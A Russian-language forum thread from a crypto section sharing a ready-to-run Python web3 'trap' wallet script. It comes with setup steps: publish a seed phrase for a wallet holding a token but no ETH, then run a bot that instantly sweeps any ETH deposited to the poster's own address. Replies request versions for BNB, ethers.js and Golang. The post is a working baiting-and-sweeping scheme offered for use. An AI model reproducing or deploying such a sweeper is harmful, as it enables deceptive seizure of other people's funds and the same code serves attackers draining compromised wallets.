Загрузка...

Скрипт автоперевод ETH

Тема в разделе Криптовалюты создана пользователем DIAGENZ 6 мар 2022. 1877 просмотров

  1. DIAGENZ
    DIAGENZ Автор темы 6 мар 2022 8 4 ноя 2020
    Скрипт-ловушка

    Логика проста:
    1. Оставляем на кошельке любую монету, для вывода которой нужно оплатить комиссию в эфире, например wETH.
    2. Остатки эфира, выводим под 0.
    3. Настраиваем скрипт. Указываем адрес и приватный ключ кошелька-ловушки, и адрес кошелька куда будем выполнять перевод.
    4. Ставим всё на дедик или хостинг, чтоб работал 24/7.
    5. Делимся фразой востановления любым извествным способом.
    6. Если кто-то захочет вывести ваши монеты, ему придётся закинуть эфир.
    7. При пополнении кошелька, весь эфир сразу будет выведен на второй кошелёк.

    Скрипт реализован на python. Для работы нужно установить библиотеку web3, и получить api на https://infura.io/

    Простой спобос установки:
    1. Ставим питон
    2. Ставим редактор
    3. Ставим библиотеку web3. Запускаем cmd. Вводим туда "pip install web3"
    4. Регаем api на https://infura.io/
    5. Открывем редактор. Вставляем код. Изменяем всё на свои данные (api, адреса, приватный ключ)
    6. Запускаем на "ctrl + b"

    Собственно, сам код:

    Код

    import os
    from web3 import Web3
    from time import sleep

    # функция перевода средств
    def send_money(nonce, to_a, value, gasPrice):
    global private_key
    global w3
    global bot

    tx = {
    'nonce':nonce,
    'to':to_a,
    'value':value,
    'gas':21000,
    'gasPrice':gasPrice
    }

    signed_tx = w3.eth.account.signTransaction(tx, private_key)
    tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
    print('Перевод выполнен: ' + tx_hash.hex())



    # api Infura (регать тут https://infura.io/)
    w3 = Web3(Web3.HTTPProvider('https://mainnet.infura.io/v3/***********'))

    # на этот адрес будет пересылаться эфир
    to_a = Web3.toChecksumAddress('0x*********************************')

    # адрес и приватный ключ кошелька, с которого будет отправляться эфир
    from_a = Web3.toChecksumAddress('*********************************')
    private_key = '**************************************************************'

    last_balance = -1
    print('Start')

    while 1:
    try:
    # запрос баланса кошелька-ловушки
    balance = w3.eth.getBalance(from_a)

    if last_balance == balance:
    continue
    else:
    last_balance = balance

    nonce = w3.eth.getTransactionCount(from_a)
    gas_price = w3.eth.gas_price


    # подбор оптимальной комиссии для более быстрой отправки

    cur_gas_price = gas_price * 3
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = gas_price * 2
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = w3.eth.gas_price
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = gas_price
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = 40000000000
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    cur_gas_price = 30000000000
    gp = cur_gas_price * 21000
    value = balance - gp
    if value >= 0:
    send_money(nonce, to_a, value, cur_gas_price)
    continue

    except Exception as e:
    print('error: ' + str(e))

    finally:
    sleep(2)

    Спасибо. Удачи.
     
  2. TwentyFIFTYfox
    Для bnb такой сделать можешь?)
     
    1. Посмотреть предыдущие комментарии (2)
    2. Kay_USA
      jewes14, Братан , есть актуальный на ethers.js?
    3. SatoshiPoint
      Kay_USA, ответь в лс, есть рабочий на golang.
  3. magusam_inactive2457317
Загрузка...
Top